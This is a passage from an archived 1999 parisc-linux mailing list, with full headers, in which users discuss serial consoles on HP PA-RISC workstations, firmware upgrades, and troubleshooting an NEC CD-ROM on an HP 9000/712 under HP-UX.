really to try to reset it to some factory default.

Thanks.

>From Tom

(PS Not strictly on topic, but I would really like to assist in the PA
RISC port as a tester etc and I cannot do this without access to
console!).

> -----Original Message-----
> From: Matt Taggart [mailto:taggart@rascal.fc.hp.com]
> Sent: Thursday, December 23, 1999 9:35 PM
> To: MaShaun Jones
> Cc: Matthew Wilcox; bkatz@agilent.com; parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] How to set serial console on 712 (fwd) 
> 
> 
> 
> MaShaun Jones writes...
> 
>  >Is there a way to use a serial console with a 715 however?
> 
> As someone mentioned previously, just unplug the keyboard. 
> Almost all HP-PA 
> workstations will go to serial if they can't find a keyboard. 
> The only one 
> I know of that doesn't is the 712. If you want to force an HP-PA 
> workstation to serial(even if a keyboard is plugged in) then set the 
> console path in the firmware. It varies by machine but it's 
> usually pretty 
> easy. The "help" command should give you an example for the 
> machine you're 
> on. The 712 was purposely obfuscated so people wouldn't use 
> serial console.
> 
> -- 
> Matt Taggart
> taggart@fc.hp.com
> 
> 
> --------------------------------------------------------------
> -------------
> To unsubscribe: send e-mail to 
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
>


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Firmware (was How to set serial ..)
Date: Fri, 24 Dec 1999 06:52:13 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <38635E6D.322C282A@storm.ca>
References: <38632C7A.BECFE291@cableinet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618710 29400 80.91.229.3 (22 Nov 2014 01:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sandy@storm.ca  Fri Dec 24 04:49:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA24967
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Dec 1999 04:49:14 -0700
Original-Received: (qmail 32187 invoked by uid 15267); 24 Dec 1999 11:51:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32179 invoked from network); 24 Dec 1999 11:51:44 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (209.87.224.69)
  by mailserv2.iuinc.com with SMTP; 24 Dec 1999 11:51:44 -0000
Original-Received: from storm.ca (ppp003.ottawa.storm.ca [209.87.227.3])
	by mail.storm.ca (8.8.8+Sun/8.8.8) with ESMTP id GAA24927
	for <parisc-linux@thepuffingroup.com>; Fri, 24 Dec 1999 06:51:43 -0500 (EST)
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:6641

Tom Gallagher wrote:

> ...  Before I managed to do this I upgraded it to the
> lastest firmware.

How does one do that?


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firmware (was How to set serial ..)
Date: Fri, 24 Dec 1999 13:26:50 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <199912241826.NAA26906@lucifier.dial-up.user.akula.net>
References: <38635E6D.322C282A@storm.ca>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618711 29402 80.91.229.3 (22 Nov 2014 01:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: sandy@storm.ca (Sandy Harris)
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Fri Dec 24 11:24:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA28176
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Dec 1999 11:24:40 -0700
Original-Received: (qmail 14209 invoked by uid 15267); 24 Dec 1999 18:27:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14198 invoked from network); 24 Dec 1999 18:27:13 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 24 Dec 1999 18:27:13 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.3/8.9.2) id NAA26906;
	Fri, 24 Dec 1999 13:26:50 -0500 (EST)
In-Reply-To: <38635E6D.322C282A@storm.ca> from Sandy Harris at "Dec 24, 99 06:52:13 am"
X-Operating-System: OpenBSD 2k
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6642

Making, drinking tea and reading an opus magnum from Sandy Harris:
> Tom Gallagher wrote:
> 
> > ...  Before I managed to do this I upgraded it to the
> > lastest firmware.
> 
> How does one do that?
there is a bootable image somewhere on hp site.
one should boot either from spare disk or over the network.
the image itself will perform an upgrade.
one caution, it upgrades the graphics eprom as well and
changes the video mode.
the cure is to type blindly the boor_admin command to change to whatever
resolution one had before the upgrade.

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cd-rom
Date: Tue, 28 Dec 1999 16:51:48 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <BBAFD7A26E78D311834400805FEA117701104D39@BHIHAWISS04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618711 29405 80.91.229.3 (22 Nov 2014 01:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Gene.Soto@bakeroiltools.com  Tue Dec 28 15:52:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA27916
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Dec 1999 15:52:06 -0700
Original-Received: (qmail 29840 invoked by uid 15267); 28 Dec 1999 22:54:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29833 invoked from network); 28 Dec 1999 22:54:39 -0000
Original-Received: from gateway1.bhi-net.com (198.64.51.1)
  by mailserv2.iuinc.com with SMTP; 28 Dec 1999 22:54:39 -0000
Original-Received: from bhihawcon04.inteq.com (bhihawcon04.bhi.bhi-net.com [147.108.122.236])
	by gateway1.bhi-net.com (8.9.2/8.9.0) with ESMTP id QAA25496
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Dec 1999 16:54:40 -0600 (CST)
Original-Received: by BHIHAWCON04.bakerhughes.com with Internet Mail Service (5.5.2448.0)
	id <Z47XYKMH>; Tue, 28 Dec 1999 16:54:15 -0600
Return-Receipt-To: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6643

I need to load 10.02 and am having problems mounting a NEC cdr-1410a cd-rom
on my system (9000/712).  Any advice on where to go for help would be
appreciated.  (SAM sees the device but I can't mount it).

thanks

X-From-Line: hppa-linux@thepuffingroup.com  Thu Mar 11 17:32:16 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id RAA14430
	for <pcj@merlin.pcj.primenet.com>; Thu, 11 Mar 1999 17:32:16 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 11 Mar 1999 17:32:16 PST
Received: from smtp04.primenet.com (daemon@smtp01.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id SAA11083
	for <pcj@smtp-local.primenet.com>; Thu, 11 Mar 1999 18:27:07 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id TAA01429
	for <pcj@primenet.com>; Thu, 11 Mar 1999 19:08:55 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd001389; Thu Mar 11 19:08:48 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id UAA10093;
	Thu, 11 Mar 1999 20:25:14 -0500
Resent-Date: Thu, 11 Mar 1999 20:25:14 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36E86D20.3A62C7CE@ruhr-uni-bochum.de>
Date: Fri, 12 Mar 1999 02:25:52 +0100
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
X-Mailer: Mozilla 4.06 [de] (Win95; I)
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap #4 successful
References: <199903112235.QAA05851@equator.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Resent-Message-ID: <"euv_s2.0.YT2.wp6ws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/172
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 72c36c452c37d073003983145450ad08
Lines: 11
Xref: merlin.pcj.primenet.com palinux:143

Hi !

Bootstrap #4 works again perfectly and very fast here on 715/64 via BOOTP/TFTP !
No Problems !

Helge Deller.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Bergman <jb@sapin.irfu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cd-rom
Date: Wed, 29 Dec 1999 01:22:09 +0100 (MET)
Lines: 17
Approved: news@gmane.org
Message-ID: <199912290022.BAA02135@sapin.irfu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618711 29408 80.91.229.3 (22 Nov 2014 01:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, Gene.Soto@bakeroiltools.com
Original-X-From: jb@sapin.irfu.se  Tue Dec 28 17:19:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA28998
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Dec 1999 17:19:34 -0700
Original-Received: (qmail 20611 invoked by uid 15267); 29 Dec 1999 00:22:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20604 invoked from network); 29 Dec 1999 00:22:11 -0000
Original-Received: from sapin.irfu.se (jb@130.238.30.18)
  by mailserv2.iuinc.com with SMTP; 29 Dec 1999 00:22:11 -0000
Original-Received: (from jb@localhost)
	by sapin.irfu.se (8.8.6 (PHNE_17190)/8.8.6) id BAA02135;
	Wed, 29 Dec 1999 01:22:09 +0100 (MET)
Content-MD5: B6mdsgNbzTxB3u70hbuK5g==
Xref: news.gmane.org gmane.linux.ports.parisc:6644



> I need to load 10.02 and am having problems mounting a NEC cdr-1410a cd-rom
> on my system (9000/712).  Any advice on where to go for help would be
> appreciated.  (SAM sees the device but I can't mount it).
> 
> thanks

Maybe a stupid question, but I have had similar problems with a floppy drive. 
Have you tried to mount it "by hand"? I.e. not using SAM, "mount /dev/dsk/c0tXd0 /cdrom" 
where X is the SCSI ID. There might (but probably not) also be a conflict 
with the SCSI ID. Does "ioscan" see the device? Try to boot from the CD,
if that doesn't work then I don't know.

/Jan Bergman
jb@irfu.se


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cd-rom
Date: Tue, 28 Dec 1999 21:52:58 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <3869778A.8755BE63@storm.ca>
References: <BBAFD7A26E78D311834400805FEA117701104D39@BHIHAWISS04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618712 29411 80.91.229.3 (22 Nov 2014 01:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Soto, Gene G." <Gene.Soto@bakeroiltools.com>
Original-X-From: sandy@storm.ca  Tue Dec 28 19:49:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA30181
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Dec 1999 19:49:52 -0700
Original-Received: (qmail 22086 invoked by uid 15267); 29 Dec 1999 02:52:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22079 invoked from network); 29 Dec 1999 02:52:29 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (209.87.224.69)
  by mailserv2.iuinc.com with SMTP; 29 Dec 1999 02:52:29 -0000
Original-Received: from storm.ca (ppp003.ottawa.storm.ca [209.87.227.3])
	by mail.storm.ca (8.8.8+Sun/8.8.8) with ESMTP id VAA25231;
	Tue, 28 Dec 1999 21:52:21 -0500 (EST)
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:6645

"Soto, Gene G." wrote:
> 
> I need to load 10.02 and am having problems mounting a NEC cdr-1410a cd-rom
> on my system (9000/712).  Any advice on where to go for help would be
> appreciated.  (SAM sees the device but I can't mount it).

Quite a few workstations seem to be picky about CD-ROM drives,
especially for booting and installing the OS. For Suns, the issue is
sector size. PC CDs want to use 512 and Sun wants 2K or vice versa.
I forget which way around it is. Some drives work on Sun, some need a
jumper change to work, some just don't.

A friend trying to install HP-UX on a 712 recently succeeded with the
fifth drive he tried. All drives worked fine on other systems. After
the install, he tried using a couple of the failed ones on the HP, and
that worked too.

I'd suggest trying a different drive.


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cd-rom
Date: Tue, 28 Dec 1999 22:15:28 -0600
Lines: 86
Approved: news@gmane.org
Message-ID: <BBAFD7A26E78D311834400805FEA1177011285C8@BHIHAWISS04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618712 29417 80.91.229.3 (22 Nov 2014 01:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'Jan Bergman'" <jb@sapin.irfu.se>
Original-X-From: Gene.Soto@bakeroiltools.com  Tue Dec 28 21:22:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA31513
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Dec 1999 21:22:56 -0700
Original-Received: (qmail 11690 invoked by uid 15267); 29 Dec 1999 04:25:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11679 invoked from network); 29 Dec 1999 04:25:37 -0000
Original-Received: from gateway1.bhi-net.com (198.64.51.1)
  by mailserv2.iuinc.com with SMTP; 29 Dec 1999 04:25:37 -0000
Original-Received: from bhihawcon04.inteq.com (bhihawcon04.bhi.bhi-net.com [147.108.122.236])
	by gateway1.bhi-net.com (8.9.2/8.9.0) with ESMTP id WAA08991;
	Tue, 28 Dec 1999 22:18:19 -0600 (CST)
Original-Received: by BHIHAWCON04.bakerhughes.com with Internet Mail Service (5.5.2448.0)
	id <Z47XYLDR>; Tue, 28 Dec 1999 22:17:54 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6646

	> I need to load 10.02 and am having problems mounting a NEC
cdr-1410a cd-rom
	> on my system (9000/712).  Any advice on where to go for help would
be
	> appreciated.  (SAM sees the device but I can't mount it).
	> 
	> thanks

	Maybe a stupid question, but I have had similar problems with a
floppy drive. 
	Have you tried to mount it "by hand"? I.e. not using SAM, "mount
/dev/dsk/c0tXd0 /cdrom" 
	where X is the SCSI ID. There might (but probably not) also be a
conflict 
	with the SCSI ID. Does "ioscan" see the device? Try to boot from the
CD,
	if that doesn't work then I don't know.

	/Jan Bergman
	jb@irfu.se <mailto:jb@irfu.se> 



	correction: it is a NEC MultiSpin 2Xe (CDR-74-1)

	i have set the ID to 4.  I also tried it on 3 and it would not
detect it.

	it has 4 switches on the back and i have 1 & 2 set opposite of what
is recommended
	on the NEC webpage for installation on IBM or compatibles (that's
the only way SAM
	detected the device):
	switch 1 is Factory Use Only(Normal OFF) (I have it ON)
	switch 2 is Termination ON/OFF (I have it OFF)
	switch 3 is SCSI2/ON SCSI1/OFF (I have it OFF)
	switch 4 is Factory Use Only(Normal OFF) (I have it ON)

	I am running 9.01 (and don't have the 'n' option in ioscan).
	This is ioscan -f:

	Class    H/W Path  Driver   H/W Status    S/W Status 
	=====================================================
	graphics 1.0.0     graph3   ok(0x577)     ok         
	scsi     2.0.1     c700     ok(0x7071)    ok         
	disk     2.0.1.0.0 scsi     ok(0x202)     ok         
	disk     2.0.1.1.0 scsi     ok(0x202)     ok         
	disk     2.0.1.4.0 scsi     ok(0x5800100) ok         
	disk     2.0.1.5.0 scsi     ok(0x202)     ok         
	disk     2.0.1.6.0 scsi     ok(0x202)     ok         
	lan      2.0.2     lan01    ok(0x7072)    ok         
	hil      2.0.3     hil      ok(0x7073)    ok         
	serial   2.0.4     asio0    ok(0x7075)    ok         
	serial   2.0.5     asio0    ok(0x7075)    ok         
	parallel 2.0.6     parallel ok(0x7074)    ok         


	I get the following note from SAM when I try to add the disk:
	SAM was unable to determine the disk model of one of the disk drives
on your system,
	and is assuming that disk drive is used.  This may happen if the
disk drive is a
	disk array or if the disk is not listed in
/usr/sam/lib/C/pd_devinfo.tx.

	this is the only cd-rom info listed in pd_devinfo.tx:
	DISK:::scsi::::TOSHIBA CD-ROM XM-3301TA:::SCSI CD-ROM
drive::::::::::::::::CDROM_SCSI,
	DISK:::scsi::::TOSHIBA CD-ROM DRIVE:::::::SCSI CD-ROM
drive::::::::::::::::CDROM_SCSI,

	is it possible to add something to pd_devinfo.tx that would allow it
to mount?

	these are the device files:
	/dev/dsk/4s0
	/dev/dsk/c201d4s0
	/dev/rdsk/4s0
	/dev/rdsk/c201d4s0

	when I try adding the following entry to /etc/checklist:
	/dev/dsk/c201d4s0 /cdrom cdfs defaults

	i get the following message when i try to mount it:
	/dev/dsk/c201d4s0: Device busy


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cd-rom
Date: Tue, 28 Dec 1999 23:18:43 -0800 (PST)
Lines: 150
Approved: news@gmane.org
Message-ID: <19991229071843.14892.qmail@web504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618712 29423 80.91.229.3 (22 Nov 2014 01:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>,
        "'Jan Bergman'" <jb@sapin.irfu.se>
Original-X-From: ulrich_strelow@yahoo.com  Wed Dec 29 00:16:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA00678
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Dec 1999 00:16:04 -0700
Original-Received: (qmail 13159 invoked by uid 15267); 29 Dec 1999 07:18:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13152 invoked from network); 29 Dec 1999 07:18:44 -0000
Original-Received: from web504.mail.yahoo.com (128.11.68.71)
  by mailserv2.iuinc.com with SMTP; 29 Dec 1999 07:18:44 -0000
Original-Received: (qmail 14893 invoked by uid 60001); 29 Dec 1999 07:18:43 -0000
Original-Received: from [212.144.128.33] by web504.mail.yahoo.com; Tue, 28 Dec 1999 23:18:43 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6647

Although I used HP-UX 9.x some years ago, I don't know
what your mounting problem is. But anyway, in order to
install HP-UX 10.20 you NEED to BOOT from the CD.

So please try to boot from the CD (e.g. press ESC
during the boot sequence, search for bootable devices
and select your CD hardware path 2.0.1.4.0). If you
get any errors from this procedure, please post the
error message(s) and the output from the search
command.

Ulrich      

-- "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
wrote:
> 	> I need to load 10.02 and am having problems
> mounting a NEC
> cdr-1410a cd-rom
> 	> on my system (9000/712).  Any advice on where to
> go for help would
> be
> 	> appreciated.  (SAM sees the device but I can't
> mount it).
> 	> 
> 	> thanks
> 
> 	Maybe a stupid question, but I have had similar
> problems with a
> floppy drive. 
> 	Have you tried to mount it "by hand"? I.e. not
> using SAM, "mount
> /dev/dsk/c0tXd0 /cdrom" 
> 	where X is the SCSI ID. There might (but probably
> not) also be a
> conflict 
> 	with the SCSI ID. Does "ioscan" see the device? Try
> to boot from the
> CD,
> 	if that doesn't work then I don't know.
> 
> 	/Jan Bergman
> 	jb@irfu.se <mailto:jb@irfu.se> 
> 
> 
> 
> 	correction: it is a NEC MultiSpin 2Xe (CDR-74-1)
> 
> 	i have set the ID to 4.  I also tried it on 3 and
> it would not
> detect it.
> 
> 	it has 4 switches on the back and i have 1 & 2 set
> opposite of what
> is recommended
> 	on the NEC webpage for installation on IBM or
> compatibles (that's
> the only way SAM
> 	detected the device):
> 	switch 1 is Factory Use Only(Normal OFF) (I have it
> ON)
> 	switch 2 is Termination ON/OFF (I have it OFF)
> 	switch 3 is SCSI2/ON SCSI1/OFF (I have it OFF)
> 	switch 4 is Factory Use Only(Normal OFF) (I have it
> ON)
> 
> 	I am running 9.01 (and don't have the 'n' option in
> ioscan).
> 	This is ioscan -f:
> 
> 	Class    H/W Path  Driver   H/W Status    S/W
> Status 
> 
>
=====================================================
> 	graphics 1.0.0     graph3   ok(0x577)     ok       
>  
> 	scsi     2.0.1     c700     ok(0x7071)    ok       
>  
> 	disk     2.0.1.0.0 scsi     ok(0x202)     ok       
>  
> 	disk     2.0.1.1.0 scsi     ok(0x202)     ok       
>  
> 	disk     2.0.1.4.0 scsi     ok(0x5800100) ok       
>  
> 	disk     2.0.1.5.0 scsi     ok(0x202)     ok       
>  
> 	disk     2.0.1.6.0 scsi     ok(0x202)     ok       
>  
> 	lan      2.0.2     lan01    ok(0x7072)    ok       
>  
> 	hil      2.0.3     hil      ok(0x7073)    ok       
>  
> 	serial   2.0.4     asio0    ok(0x7075)    ok       
>  
> 	serial   2.0.5     asio0    ok(0x7075)    ok       
>  
> 	parallel 2.0.6     parallel ok(0x7074)    ok       
>  
> 
> 
> 	I get the following note from SAM when I try to add
> the disk:
> 	SAM was unable to determine the disk model of one
> of the disk drives
> on your system,
> 	and is assuming that disk drive is used.  This may
> happen if the
> disk drive is a
> 	disk array or if the disk is not listed in
> /usr/sam/lib/C/pd_devinfo.tx.
> 
> 	this is the only cd-rom info listed in
> pd_devinfo.tx:
> 	DISK:::scsi::::TOSHIBA CD-ROM XM-3301TA:::SCSI
> CD-ROM
> drive::::::::::::::::CDROM_SCSI,
> 	DISK:::scsi::::TOSHIBA CD-ROM DRIVE:::::::SCSI
> CD-ROM
> drive::::::::::::::::CDROM_SCSI,
> 
> 	is it possible to add something to pd_devinfo.tx
> that would allow it
> to mount?
> 
> 	these are the device files:
> 	/dev/dsk/4s0
> 	/dev/dsk/c201d4s0
> 	/dev/rdsk/4s0
> 	/dev/rdsk/c201d4s0
> 
> 	when I try adding the following entry to
> /etc/checklist:
> 	/dev/dsk/c201d4s0 /cdrom cdfs defaults
> 
> 	i get the following message when i try to mount it:
> 	/dev/dsk/c201d4s0: Device busy
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 

__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://messenger.yahoo.com


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cd-rom
Date: Wed, 29 Dec 1999 12:05:14 -0500 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <199912291705.MAA20696@hiauly1.hia.nrc.ca>
References: <BBAFD7A26E78D311834400805FEA1177011285C8@BHIHAWISS04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618712 29425 80.91.229.3 (22 Nov 2014 01:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:52 +0000 (UTC)
Cc: jb@sapin.irfu.se, parisc-linux@thepuffingroup.com
To: Gene.Soto@bakeroiltools.com (Soto,  Gene G.)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 29 10:05:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA06299
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Dec 1999 10:05:12 -0700
Original-Received: (qmail 28906 invoked by uid 15267); 29 Dec 1999 17:07:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28889 invoked from network); 29 Dec 1999 17:07:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 29 Dec 1999 17:07:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA20696;
	Wed, 29 Dec 1999 12:05:14 -0500 (EST)
In-Reply-To: <BBAFD7A26E78D311834400805FEA1177011285C8@BHIHAWISS04> from "Soto,  Gene G." at Dec 28, 99 10:15:28 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6648

> 	correction: it is a NEC MultiSpin 2Xe (CDR-74-1)
> 
> 	i have set the ID to 4.  I also tried it on 3 and it would not
> detect it.
> 
> 	it has 4 switches on the back and i have 1 & 2 set opposite of what
> is recommended
> 	on the NEC webpage for installation on IBM or compatibles (that's
> the only way SAM
> 	detected the device):
> 	switch 1 is Factory Use Only(Normal OFF) (I have it ON)
> 	switch 2 is Termination ON/OFF (I have it OFF)
> 	switch 3 is SCSI2/ON SCSI1/OFF (I have it OFF)
> 	switch 4 is Factory Use Only(Normal OFF) (I have it ON)

Strange.  I have a NEC CD-ROM drive on my machine and I am pretty
